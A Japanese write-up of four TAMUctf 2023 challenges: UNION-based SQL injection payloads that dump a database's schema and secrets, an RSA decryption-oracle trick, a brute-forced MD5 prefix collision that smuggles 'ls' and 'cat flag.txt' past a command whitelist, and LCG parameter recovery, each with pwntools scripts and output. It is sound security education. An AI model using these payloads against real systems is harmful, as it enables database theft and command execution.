TAMUctf 2023 Writeup

この大会は2023/4/22 9:00(JST)~2023/4/27 9:00(JST)に開催されました。
今回もチームで参戦。結果は9676点で609チーム中12位でした。
自分で解けた問題をWriteupとして書いておきます。

Lost and Forgotten (web)

検索画面ではSQLインジェクションが使えるので、情報を抜き取っていく。

■z' union select 1,2,3,4,5,6 -- -
2
1
3

■z' union select schema_name,2,3,4,5,6 from information_schema.schemata -- -
2
writeups
3

2
sys
3

2
performance_schema
3

2
mysql
3

2
information_schema
3

■z' union select table_name,2,3,4,5,6 from information_schema.tables where table_schema = 'writeups' -- -
2
articles
3

■z' union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'articles' -- -
2
access_code
3

2
artloc
3

2
imgloc
3

2
descr
3

2
postdate
3

2
title
3

最後に以下を入力する。

z' union select access_code,postdate,descr,imgloc,artloc,title from articles -- -

すると、以下の画像のようになる。

この画面からアクセスコードがわかる。

ba65ba9416d8e53c5d02006b2962d27e

TAMUctf 2023 Writeupsを選択し、Secret Codeに上記のアクセスコードを入力すると、フラグが表示された。

tamuctf{st4te_0f_th3_UNION_1njecti0n}

Numbers :pensive: (crypto)

サーバの処理概要は以下の通り。

・e = 65537
・以下繰り返し
 ・p: 1024ビットランダム整数
 ・q: 1024ビットランダム整数
 ・n = p * q
 ・phi = (p - 1) * (q - 1)
 ・gcd(e, phi) が1の場合、繰り返し終了
・n, eを表示
・以下繰り返し
 ・chosen_e: 数値入力(e以外)
 ・pow(chosen_e, -1, phi)を表示
 ・m: 1024ビットランダム整数
 ・c = pow(m, e, n)
 ・cを表示
 ・ans: 数値入力
 ・ansとmが一致している場合、フラグを表示

ランダムな値mに対して、cの値は以下のようになる。

c = pow(m, e, n)

chosen_eにe * eを指定する。そのときの秘密鍵d2は以下の式になる。

d2 = pow(chosen_e, -1, phi)

上記のcに対して、以下を計算する。

m2 = pow(c, d2, n)

このときmは以下の計算で算出できる。

m = pow(m2, e, n)
#!/usr/bin/env python3
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="numbers-pensive")
data = p.recvline().decode().rstrip()
print(data)
n = int(data.split(' ')[-1])
data = p.recvline().decode().rstrip()
print(data)
e = int(data.split(' ')[-1])

chosen_e = e * e
data = p.recvuntil(b': ').decode()
print(data + str(chosen_e))
p.sendline(str(chosen_e).encode())
data = p.recvline().decode().rstrip()
print(data)
d2 = int(data)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
c = int(data)

m2 = pow(c, d2, n)
m = pow(m2, e, n)

data = p.recvuntil(b': ').decode()
print(data + str(m))
p.sendline(str(m).encode())
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to tamuctf.com on port 443: Done
n = 10664678299782849846972604496174729926999574729826215098543334043597653935343050507602638043854265986870785818705209567636354288129585387522573782151731058852669024286616440345938741144539838875786691924741235082122364020230942752965605820464877520002474209054305233437378135973844637374411300116634104143341126933576828421591686041672279242885083080000064382658457074165593286484325299015277939345283780467055229043703377067557334168369781989287268858008332442391171145752454912266624060713396936095880698664853484700575844780686482563343019920952196172395819757891862339189189348442443113492012300772103847166029677
e = 65537
Give me an `e`, and I'll give you a `d`: 4295098369
6322432495972202629363889912529580790874925587668307281863719194307929650994145759473886602119653100319436008825484859496051163189557259213938766878810505543060922693267773007214352091418304875202857917369680831705619297988406074943822052286330765522939406819681314627692354172470810351047516028166993082774876486928152963726530695560608240997680309992980774661211182180741414430603131249863774650320882401417032249446197851430375810755465379239652806623334107088426378707309379771036579497428952916759096486849466430769302586097396952432910774458983370953261519784006840183453700925690048097820432668840860976079809
If you can decrypt this, I'll give you a flag!
2537842811516763398411454208364742147366334853085101686929815472696661269052742884966174905263127010406766197850767547880988488366733638260354060793499929354487805250342275353546353526957361413255921602008070655777532801664738869123014038609859106172557248003901186903359106536385112782853216833541262404130579929764788866029346698297237893219063137343747126151156205814289372598808491523706574471583372915747594440350947787636856908122419576276826156698557829106207084883257334429724530546090870987793786673099544685715563819554105699996232288401617038560987999702300733680194531749543192547535803973072893718831792
Your answer: 14551851292599990438253180119167956986569928351388067008254573231248249099768679493674886123432443047817270518595142692944006270553179350239918596031440277477925858412978072407156876039019583256812094181352103046294585868773261292246208709993415383148655460254494798415230878464690436765523764537233617469391
gigem{h4h4_numb3rs_ar3_s0_qu1rky}
[*] Closed connection to tamuctf.com port 443
gigem{h4h4_numb3rs_ar3_s0_qu1rky}

MD5 (crypto)

サーバの処理概要は以下の通り。

・whitelisted_cmd = b'echo lmao'
・whitelisted_hash: whitelisted_cmdのmd5ダイジェストの先頭3バイト
・以下繰り返し
 ・cmd: 入力
 ・cmdが'exit'の場合終了
 ・cmdのmd5ダイジェストの先頭3バイトがwhitelisted_hashと異なる場合、入力からやり直し
 ・cmdを実行し出力結果を表示

ブルートフォースmd5ダイジェストの先頭3バイトが一致するよう調整し、以下のコマンドを実行する。

echo XXXX;ls -l (XXXX部分を長さと文字についてブルートフォースする)

flag.txtがあることがわかるので、同様に以下のコマンドを実行する。

echo XXXX;cat flag.txt
#!/usr/bin/env python3
from pwn import *
import hashlib
import itertools
import string

def md5sum(b: bytes):
    return hashlib.md5(b).digest()[:3]

whitelisted_cmd = b'echo lmao'
whitelisted_hash = md5sum(whitelisted_cmd)

chars = string.ascii_letters + string.digits

cmd_base = 'echo '
cmd_list = [';ls -l', ';cat flag.txt']

cmd_inputs = []
for i in range(2):
    found = False
    for r in range(1, 5):
        for c in itertools.product(chars, repeat=r):
            cmd = cmd_base + ''.join(c) + cmd_list[i]
            if md5sum(cmd.encode()) == whitelisted_hash:
                found = True
                cmd_inputs.append(cmd)
                break
        if found:
            break

p = remote("tamuctf.com", 443, ssl=True, sni="md5")

for i in range(2):
    data = p.recvuntil(b'> ').decode()
    print(data + cmd_inputs[i])
    p.sendline(cmd_inputs[i].encode())

data = p.recvuntil(b'> ').decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to tamuctf.com on port 443: Done
> echo BXUQ;ls -l
BXUQ
total 16
drwxr-xr-x.    1 root root    6 Apr 12 06:45 bin
drwxr-xr-x.    2 root root    6 Sep  3  2022 boot
drwxr-xr-x.    5 root root  340 Apr 28 07:30 dev
-rw-r--r--.    1 root root   78 Apr 28 05:39 docker_entrypoint.sh
drwxr-xr-x.    1 root root   66 Apr 28 07:30 etc
-rw-rw-r--.    1 root root   40 Apr 28 04:37 flag.txt
drwxr-xr-x.    2 root root    6 Sep  3  2022 home
drwxr-xr-x.    1 root root   30 Apr 12 06:45 lib
drwxr-xr-x.    2 root root   34 Apr 11 00:00 lib64
drwxr-xr-x.    2 root root    6 Apr 11 00:00 media
drwxr-xr-x.    2 root root    6 Apr 11 00:00 mnt
drwxr-xr-x.    2 root root    6 Apr 11 00:00 opt
dr-xr-xr-x. 1069 root root    0 Apr 28 07:30 proc
drwx------.    1 root root   24 Apr 12 06:36 root
drwxr-xr-x.    3 root root   30 Apr 11 00:00 run
drwxr-xr-x.    2 root root 4096 Apr 11 00:00 sbin
-rw-rw-r--.    1 root root  727 Apr 28 04:37 server.py
drwxr-xr-x.    2 root root    6 Apr 11 00:00 srv
dr-xr-xr-x.   13 root root    0 Apr 26 02:06 sys
drwxrwxrwt.    1 root root    6 Apr 28 05:31 tmp
drwxr-xr-x.    1 root root   30 Apr 11 00:00 usr
drwxr-xr-x.    1 root root   41 Apr 11 00:00 var

> echo dTdr;cat flag.txt
dTdr
gigem{3_bYt3_MD5_1s_Ju5t_pr00f_0f_W0rK}

> 
[*] Closed connection to tamuctf.com port 443
gigem{3_bYt3_MD5_1s_Ju5t_pr00f_0f_W0rK}

PRNG (crypto)

サーバの処理概要は以下の通り。

・seed: 0x7fffffffffffffff未満のランダム整数
・rng = Rand(seed)
 ・rng.m = m (未知)
 ・rng.a = a (未知)
 ・rng.c = c (未知)
 ・rng.seed = seed (未知)
 ・rng.seedが偶数の場合、+1
・chall = []
・以下を10回実行
 ・challのrng.rand()を追加
  ・rng.seed = (rng.a * rng.seed + rng.c) % rng.m
・challの10個を表示
・以下を10回実行
 ・x: 数値入力
 ・xがrng.rand()と異なる場合、終了
・フラグを表示
X[1] = (a * X[0] + c) % m
X[2] = (a * X[1] + c) % m
    :

LCGになっているので、mod mで、以下のようになる。

X[2] - X[1] = a * (X[1] - X[0])
X[3] - X[2] = a * (X[2] - X[1]) = a**2 * (X[1] - X[0])
    :
    ↓
(X[2] - X[1])**2 - (X[3] - X[2]) * (X[1] - X[0]) = 0 mod m

このことからわかる範囲で最大公約数からmを求める。mがわかれば、a, bを計算し、次以降の乱数を算出できるので、フラグを取得できる。

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import *
from functools import reduce

p = remote("tamuctf.com", 443, ssl=True, sni="prng")

data = p.recvline().decode().rstrip()
print(data)

chall = []
for _ in range(10):
    data = p.recvline().decode().rstrip()
    print(data)
    chall.append(int(data))

delta = [d1 - d0 for (d0, d1) in zip(chall, chall[1:])]
m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
m = reduce(GCD, m_mul)

a = (delta[1] * inverse(delta[0], m)) % m
c = (chall[1] - a * chall[0]) % m

log.info('m = ' + str(m))
log.info('a = ' + str(a))
log.info('c = ' + str(c))

seed = chall[-1]
for _ in range(10):
    seed = (a * seed + c) % m
    data = p.recvuntil(b'> ').decode()
    print(data + str(seed))
    p.sendline(str(seed).encode())

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to tamuctf.com on port 443: Done
Authenticate. Provide the next 10 numbers following
493877208327473728
15630783300886135685
8612891485989368606
3993702174560782171
17311033012760247244
13869657163045756481
16222396490970064842
12540713454361377207
16759000960295653016
12672933690407857981
[*] m = 18446744073709551616
[*] a = 69
[*] c = 69
> 7435453173793274806
> 14984179001578068051
> 890682981151805092
> 6116893478345896569
> 16237280384256727778
> 13567702091141119791
> 13834240603259684848
> 13778653865731122165
> 9943168976260297038
> 3549128634707085899
Access granted.
gigem{D0nt_r0ll_y0uR_oWn_RnG}
[*] Closed connection to tamuctf.com port 443
gigem{D0nt_r0ll_y0uR_oWn_RnG}